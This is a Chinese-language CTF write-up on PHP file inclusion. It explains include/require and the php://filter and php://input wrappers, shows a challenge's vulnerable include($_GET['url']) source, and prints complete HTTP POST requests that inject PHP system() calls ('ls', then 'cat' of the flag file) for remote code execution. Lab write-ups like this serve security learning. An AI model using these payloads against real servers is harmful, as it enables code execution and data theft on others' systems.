文件包含漏洞
最近做ctf题目总是被虐的死去活来
关于php文件包含漏洞的题目:
参考资料:https://blog.csdn.net/qq_42181428/article/details/87090539
常见文件包含函数
php中常见的文件包含函数有以下四种:
include() require() include_once() require()_once()
include与require基本是相同的,除了错误处理方面:
include(),只生成警告(E_WARNING),并且脚本会继续
require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once()与require()_once(),如果文件已包含,则不会包含,其他特性如上
PHP伪协议
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。
一、php://input
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
二、php:filter
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
过程
1.先看看网页的源码,说不定flag就藏在里面
使用php:filter伪协议,查看base64编码以后的源码:
返回内容:
拿去解码得到源码:
<?php error_reporting(0); $url=$_GET['url']; if(isset($url)){ include($url); } ?> <html lang="zh-CN"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" /> <title>ctf.show_web3</title> </head> <body> <center> <h2>ctf.show_web3</h2> <hr> <h3> <?php $code="<?php include($"."_GET['url']);?>"; highlight_string($code); ?> </center> </body> </html>
代码审计一下,没有发现什么有用的参数,flag也不存在
2.使用php:input伪协议
input伪协议可以配合post提交参数,php会将post参数当成文件执行
自己想也没想打开了hackbar想直接post参数,结果没法post
去问了其他师傅回答要用burp来做这道题,原因:
网页本身是get的,无法直接进行post
那么就用burp改包
这里我又犯了一个错误,因为网页本身没有index.php后缀,所以我改包的时候就没有加:
正确方法:(需要post的内容直接用php语言写进包里)
POST /index.php?url=php://input HTTP/1.1 Host: 124.156.121.112:28001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 <?php system("ls");?>
这里让系统执行ls命令,显示目录下的文件
目录下面有一个文件ctf_go_go_go,猜测flag就在文件里面
继续抓包改包:
POST /index.php?url=php://input HTTP/1.1 Host: 124.156.121.112:28001 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 <?php system("cat ctf_go_go_go");?>
执行cat命令,最后就能看见flag了